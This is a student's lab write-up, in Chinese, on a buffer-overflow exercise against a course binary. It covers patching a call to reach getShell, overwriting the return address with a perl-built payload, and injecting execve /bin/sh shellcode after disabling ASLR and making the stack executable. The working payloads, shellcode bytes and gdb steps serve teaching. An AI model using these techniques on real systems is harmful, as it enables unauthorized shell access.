目录
一. 实验准备
二. 直接修改程序机器指令,改变程序执行流程
三. 通过构造输入参数,造成BOF攻击,改变程序执行流
四. 注入Shellcode并执行
五. 实验收获与感想
六. 什么是漏洞?漏洞有什么危害?
一. 实验准备
1.1 实验目标
实践的对象是一个名为pwn20175104(原为pwn1更名)的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习用两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
-
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
-
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
1.2 基础知识
该实践需要
- 熟悉Linux基本操作
-
能看懂常用指令,如管道(|),输入、输出重定向(>)等。
-
- 理解Bof的原理。会使用gdb,vi。指令、参数重要的是理解思路,理清思路后做实验。
-
能看得懂汇编、机器指令、EIP、指令地址。
- 还需要配置好环境(比如pwn1可以下载好之后在主机上改名之后拖拽到虚拟机中๑乛◡乛๑ (●´∀`●)以及看到好像有一些之前的博客存在无法运行32位程序的问题,但在实际操作中并没有发现。然后最难过的就是发现做实验的时候指令执行的时候,会有问题。所以要临时下载库。
1.3 需要描述的内容
-
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP机器码 90。
- JNE机器码 75
- JE机器码 74
- JMP rel8相对短跳转,机器码 EB
JMP rel16相对跳转,机器码 E9
JMP r/m16绝对跳转,机器码 FF
JMP r/m32绝对跳转,机器码 FF
JMP ptr1 6:16远距离绝对跳转,机器码 EA
JMP ptr1 6:32远距离绝对跳转,机器码 EA
JMP m16:16远距离绝对跳转,机器码 FF
JMP m16:32远距离绝对跳转,机器码 FF - CMP reg8/mem8,reg8 机器码 38
CMP reg16/mem16,reg16 机器码 39
CMP reg8,reg8/mem8 机器码 3A
CMP reg16,reg16/mem16 机器码 3B
CMP al,immed8 机器码 3C
CMP ax,immed16 机器码 3D -
掌握反汇编与十六进制编程器
-
反汇编指令 objdump -d (文件名)| more
objdump -d
: 将代码段反汇编- -d 英文全称是disassembling,意为反汇编
|
管道符,命令A|命令B,即命令A的正确输出作为命令B的操作对象- more使文件以一页一页的形式显示,,更方便使用者逐页阅读。命令相关操作可以查看Linux more命令
-
十六进制编程器
- 进入vim编辑器后按esc后输入:%!xxd将显示模式切换为16进制模式
- 编辑完成后按esc后输入:%!xxd -r将转换16进制为原格式
-
能正确修改机器指令改变程序执行流程(查看二. 直接修改程序机器指令,改变程序执行流程)
- 能正确构造payload进行bof攻击(查看四. 注入Shellcode并执行)
二. 直接修改程序机器指令,改变程序执行流程
2.1 准备工作
- 这里我首先先将pwn20175104拖拽到虚拟机桌面上,为了防止之后出什么问题,以及做对照。我们将它copy到/home文件夹中进行各种操作,指令为 cp pwn20175104 /home 。
- 我们可以用 ls 指令看到home文件夹已经有这个文件了
2.2 反汇编
- 接着开始反汇编文件,指令为 objdump -d pwn20175104(文件名)| more 即可浏览反汇编后的文件,输入 /getShell 即可跳到getShell这一行
我们可以看到机器码16进制对应的汇编指令,和程序在运行时每条指令所在的内存地址。这里可以看到,main函数第4行(内存地址80484b5)跳转到了foo函数(内存地址8048491),接下来的实验中用到的getShell函数的内存地址为804847d。机器指令e8即为跳转,后面的数值d7ffffff是补码,表示-41,41=0x29。经过计算,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。然后我们下一步要做的事对可执行文件进行修改,令其在main函数中第4条指令跳转到getShell函数,而不是foo函数。只要我们修改可执行文件“d7ffffff”为,"804847d-80484ba"对应的补码就为c3ffffff。
2.3 修改机器指令
- 用vim指令 vi pwn20175104 编辑该文件
发现得到的是这一团浆糊,完全不知所云
- 我们按一下Esc键,在当前状态下允许用户输入命令。输入指令 :%!xxd 将用十六进制查看文件内容。这样方便定位程序。
- 接下来得到的是16进制显示。输入 /e8 d7 定位命令位置。(注意此处e8与d7之间有空格)
- 然后按下回车即可保持定位,然后按 i 进入编辑模式将d7替换为c3即可,然后记得需要转换16进制为原格式,命令为 :%!xxd -r,之后输入:wq保存退出。(注意如果不转换为原格式,会导致该文件不可执行)。
2.4 实验结果
- 首先反汇编一下更改过的文件,发现此时main函数第四行调用的是getShell函数。
- 接下来分别执行一下两个文件(修改过的和未修改过的)
修改过的程序执行后,会出现Shell提示符,可以执行命令。没有修改过的程序,是会打印出来我们输入的字符串(执行的是foo函数),这反映了程序调用函数的不同;也证明了我们成功修改了该可执行文件。
三. 通过构造输入参数,造成BOF攻击,改变程序执行流
3.1 准备工作
- 首先先将pwn20175104重新复制到 /home文件夹以证明接下来进行的bof攻击有效
- 然后接着反汇编,查看getShell函数地址。我们的目标同样是要更改函数调用,触发getShell函数以达成我们的目标。这里可以看到getShell函数地址为0804847d。
- 这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。
- 上面的call调用foo,同时在堆栈上压上返回地址值:80484ba
本次我们要进行攻击的是foo函数,在简单阅读汇编指令后不难发现,本函数没有输入字符的限制及边界检测;那么输入多余的字符可能就会溢出,写进返回地址。那么我们即可利用BOF(buffer overflow:缓冲区溢出攻击)利用设计好的字符串,让其将溢出的部分改变一些内容,本实验中我们更改的是在函数返回时改变返回程序的地址(eip),让其跳转到我们指定的地址,执行我们需要执行的函数。
3.2 确认输入字符串哪几个字符会如何覆盖到返回地址
- 此时我们先输入一串字符串以检验,输入多少字符串后会覆盖到程序的返回地址,先输入一个较长的字符。
- 此时要用到调试功能(如果系统没有安装的话,安装一下 apt-get install gdb 即可)
- 输入 gdb pwn20175104(文件名) 进入调试界面,之后输入 r 输入内容,确认输入多少字符串后会覆盖到程序的返回地址。我们先输入一个比较长的字符串,看看程序会不会执行出错。
在我们使用 info r 命令查看当前寄存器状态中,发现EIP寄存器(用于存放下一条指令的内存地址的寄存器)被0x35353535的字段覆盖掉了,这就表示了当前返回地址是四个‘5’,而EBP被0x34343434字段覆盖掉了,因此说明缓冲区大小为28字节(由于输入的的数据共有40字节(8个1,8个2,8个3,8个4,8个5)但4字节的‘4’覆盖了ebp而4字节的‘5’覆盖了eip。因此不难推测出buffer里面存有28字节)。再进行进一步尝试,将5替换成其它字段已确定是哪个位置的字符会以何种方式覆盖EIP寄存器。
-
这次输入字符串 1111111122222222333333334444444412345678
这里发现字符1234所处的位置会覆盖EIP寄存器,而且以从右至左的方式覆盖eip
3.3 确认用什么值来覆盖返回地址
- 寄存器显示时是按照16进制从高位向低位显示,所以需要我们从右至左每两字为单位阅读。接下来的操作会使这块区域变成我们需要的内容(\x7d\x84\x04\x08)即可实现跳转到getShell处执行代码,实际上我们需要输入的就是 11111111222222223333333344444444\x7d\x84\x04\x08 。
3.4 构造输入字符串
- 由于有些要改写的字符串\x7d\x84\x04\x08的ASCII值里面有无法从键盘读入的字符,这时候需要借助Perl语言来代替我们生成这样符合要求的字符串重定向输出到input文件中,\x0a表示回车,如果没有的话,在程序运行时需要按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
- 可以使用16进制查看指令xxd查看input文件的内容是否已成功更改。
- 然后将input文件作为文件的输入。指令为:
(cat input; cat) | ./pwn20175104
不难发现,此时程序可以直接执行指令。证明执行成功
- 如果不使用input文件输入,也可以使用这条指令(作用是一样的):
(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn20175104
四. 注入Shellcode并执行
4.1 准备shellcode
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
- 所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- 本次实验中我们准备好了这样一段shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
4.2 准备工作
- 在实验中要提前进行一些设置(如内存地址随机化要关闭,否则后面的实验无法进行)
- 我这里输入execstack显示未找到命令,所以要输入 apt-get install prelink 安装可以使用设置堆栈的命令
- 要进行的设置
execstack -s pwn20175104 //设置堆栈可执行 execstack -q pwn20175104 //查询文件的堆栈是否可执行 X pwn20175104 more /proc/sys/kernel/randomize_va_space //查看内存地址随机化的参数 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space
4.3 构造要使用的payload
- Linux下有两种基本构造攻击buf的方法:因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
- retaddr+nop+shellcode
- nop+shellcode+retaddr
- 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
- 在看完老师的实验指导书之后发现nop+shellcode+retaddr这种方式有些问题。因此选取了anything+retaddr+nops+shellcode这种方式构造攻击代码。
- 首先利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的\x4\x3\x2\x1会覆盖到堆栈上的返回地址。(注意最后一个字符不要设置成\x0a,否则会影响接下来的操作)。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 接着在终端中注入这一段攻击buf (cat input_shellcode;cat) | ./pwn20175104
- 然后不要动了,打开另一个终端进行调试
- 首先查看程序进程 ps -ef | grep pwn20175104 发现进程号为2715
- 输入 gdb 进入调试界面,然后输入 attach 2715 调试这个进程
- 接下来输入指令 disassemble foo 对foo函数进行反汇编。
- 然后设置断点,来查看注入buf的内存地址。指令为:break *0x080484ae
- 之后要回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续。
- 接下来输入指令 info r esp 查看查看栈顶指针所在的位置,并查看改地址存放的数据
- 然后看到了\x4\x3\x2\x1果然出现在栈顶,就是返回地址的位置。shellcode就挨着,所以地址是0xffffd35c+4=0xffffd360
- 修改攻击代码,将地址加进去
perl -e 'print "A" x 32;print "\x60\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 并将其输入到程序,指令为 (cat input_shellcode;cat) | ./pwn20175104
此时发现已经可以执行指令了,证明注入shellcode成功了!!!
五. 实验收获与感想
在本次实验之前,我先认真的看了老师给的教学视频以及实验指导书,还从之前的博客中汲取了一些经验,所以并没有遇到太多问题,除了在执行一些指令时发现无法执行。因为缺少一些文件。进行安装即可。以及在输入指令时一定要细心。在我的执行步骤中我也给出了详细的指令。由于本次实验是第一次在linux上做的实验。所以还是收获了很多知识,比如反汇编相关知识,利用十六进制编辑文件,还学会了初步使用perl。而且通过实际操作也对缓冲区溢出这一概念也有了更深一步的了解,如在计算机实习中老师就提示编写代码时要注意设置边界,如今在实际的操作中理解了代码的边界条件的重要性。这让我受益匪浅。
六. 什么是漏洞?漏洞有什么危害?
我认为漏洞就是计算机的一些设置不当或者自身存在的一些安全缺陷(软硬件)。
攻击者可以通过漏洞对受害者进行攻击,可能会导致受害者财产损失,隐私泄露等问题。如果攻击对象是社会甚至国家可能会导致国家机密泄露甚至社会恐慌。(棱镜门,千年虫,熊猫烧香)
我已知的例子:PS4的破解:破解索尼PS4系列:利用网页漏洞实现相关的ROP攻击(一)